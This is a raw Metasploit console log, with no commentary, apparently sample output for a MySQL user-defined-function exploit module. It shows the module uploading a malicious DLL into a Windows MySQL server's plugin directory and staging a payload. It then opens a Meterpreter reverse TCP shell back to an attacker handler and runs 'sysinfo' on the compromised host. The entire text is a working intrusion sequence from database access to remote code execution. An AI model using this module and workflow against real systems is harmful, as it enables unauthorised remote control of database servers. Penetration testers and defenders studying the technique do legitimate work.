msf5 exploit(multi/mysql/mysql_udf_payload) > run

[*] Started reverse TCP handler on 1.1.1.1:8989 
[*] 2.2.2.2:3306 - Checking target architecture...
[*] 2.2.2.2:3306 - Checking for sys_exec()...
[*] 2.2.2.2:3306 - Checking target architecture...
[*] 2.2.2.2:3306 - Checking for MySQL plugin directory...
[*] 2.2.2.2:3306 - Target arch (win64) and target path both okay.
[*] 2.2.2.2:3306 - Uploading lib_mysqludf_sys_64.dll library to C:/Program Files/MySQL/MySQL Server 5.7/lib/plugin/uGPBcbne.dll...
[*] 2.2.2.2:3306 - Checking for sys_exec()...
[*] 2.2.2.2:3306 - Command Stager progress -   1.47% done (1499/102246 bytes)
[*] 2.2.2.2:3306 - Command Stager progress -   2.93% done (2998/102246 bytes)
[*] 2.2.2.2:3306 - Command Stager progress -   4.40% done (4497/102246 bytes)
[*] 2.2.2.2:3306 - Command Stager progress -   5.86% done (5996/102246 bytes)
[*] 2.2.2.2:3306 - Command Stager progress -  98.19% done (100400/102246 bytes)
[*] 2.2.2.2:3306 - Command Stager progress -  99.59% done (101827/102246 bytes)
[*] Sending stage (179779 bytes) to 2.2.2.2
[*] 2.2.2.2:3306 - Command Stager progress - 100.00% done (102246/102246 bytes)
[*] Meterpreter session 2 opened (1.1.1.1:8989 -> 2.2.2.2:49170) at 2018-08-06 21:19:26 -0400

meterpreter > sysinfo
Computer        : WIN-OBKF2JFCDKL
OS              : Windows 2012 (Build 9200).
Architecture    : x64
System Language : en_US
Domain          : WORKGROUP
Logged On Users : 1
Meterpreter     : x86/windows